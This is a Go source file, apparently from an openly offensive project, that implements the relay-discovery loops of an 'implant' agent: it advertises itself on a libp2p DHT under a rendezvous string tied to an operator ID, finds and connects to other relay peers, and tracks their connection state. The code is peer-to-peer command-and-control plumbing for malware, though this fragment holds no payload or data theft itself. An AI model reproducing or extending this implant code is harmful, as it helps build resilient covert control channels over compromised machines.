128 lines
2.6 KiB
Go
128 lines
2.6 KiB
Go
package core
|
|
|
|
import (
|
|
"context"
|
|
"log"
|
|
"time"
|
|
|
|
"github.com/libp2p/go-libp2p/core/network"
|
|
"github.com/libp2p/go-libp2p/core/peer"
|
|
)
|
|
|
|
type relayPeerInfo struct {
|
|
peerID peer.ID
|
|
connected bool
|
|
lastSeen time.Time
|
|
failCount int
|
|
}
|
|
|
|
func (a *Agent) relayRendezvous() string {
|
|
return a.node.RelayRendezvousString(a.messenger.OperatorID())
|
|
}
|
|
|
|
func (a *Agent) advertiseRelayLoop(ns string) {
|
|
defer a.wg.Done()
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
log.Printf("[implant] panic in advertiseRelayLoop: %v", r)
|
|
}
|
|
}()
|
|
|
|
if !a.node.WaitForDHT(a.ctx) {
|
|
return
|
|
}
|
|
|
|
for {
|
|
if err := a.node.AdvertiseRelay(a.ctx, ns); err != nil {
|
|
log.Printf("[implant] relay advertise: %v", err)
|
|
}
|
|
select {
|
|
case <-a.ctx.Done():
|
|
return
|
|
case <-time.After(60 * time.Second):
|
|
}
|
|
}
|
|
}
|
|
|
|
func (a *Agent) discoverRelaysLoop(ns string) {
|
|
defer a.wg.Done()
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
log.Printf("[implant] panic in discoverRelaysLoop: %v", r)
|
|
}
|
|
}()
|
|
|
|
if !a.node.WaitForDHT(a.ctx) {
|
|
return
|
|
}
|
|
|
|
opID := a.messenger.OperatorID()
|
|
for {
|
|
peers, err := a.node.FindRelayPeers(a.ctx, ns, 16)
|
|
if err != nil {
|
|
log.Printf("[implant] find relay peers: %v", err)
|
|
goto sleep
|
|
}
|
|
for _, pi := range peers {
|
|
if pi.ID == a.node.ID() || pi.ID == opID {
|
|
continue
|
|
}
|
|
a.relayMu.RLock()
|
|
existing := a.relayPeers[pi.ID]
|
|
a.relayMu.RUnlock()
|
|
if existing != nil && existing.connected {
|
|
continue
|
|
}
|
|
connCtx, cancel := context.WithTimeout(a.ctx, 10*time.Second)
|
|
err := a.node.ConnectToPeer(connCtx, pi)
|
|
cancel()
|
|
now := time.Now()
|
|
if err != nil {
|
|
log.Printf("[implant] relay connect %s: %v", pi.ID.String(), err)
|
|
a.relayMu.Lock()
|
|
if rp, ok := a.relayPeers[pi.ID]; ok {
|
|
rp.failCount++
|
|
rp.lastSeen = now
|
|
} else {
|
|
a.relayPeers[pi.ID] = &relayPeerInfo{
|
|
peerID: pi.ID,
|
|
connected: false,
|
|
lastSeen: now,
|
|
failCount: 1,
|
|
}
|
|
}
|
|
a.relayMu.Unlock()
|
|
continue
|
|
}
|
|
log.Printf("[implant] connected to relay peer %s", pi.ID.String())
|
|
a.relayMu.Lock()
|
|
a.relayPeers[pi.ID] = &relayPeerInfo{
|
|
peerID: pi.ID,
|
|
connected: true,
|
|
lastSeen: now,
|
|
}
|
|
a.relayMu.Unlock()
|
|
}
|
|
|
|
a.relayMu.Lock()
|
|
for id, rp := range a.relayPeers {
|
|
if rp.connected {
|
|
cs := a.node.Host.Network().Connectedness(id)
|
|
if cs != network.Connected && cs != network.Limited {
|
|
rp.connected = false
|
|
rp.failCount++
|
|
log.Printf("[implant] relay peer %s disconnected", id.String())
|
|
}
|
|
}
|
|
}
|
|
a.relayMu.Unlock()
|
|
|
|
sleep:
|
|
select {
|
|
case <-a.ctx.Done():
|
|
return
|
|
case <-time.After(30 * time.Second):
|
|
}
|
|
}
|
|
}
|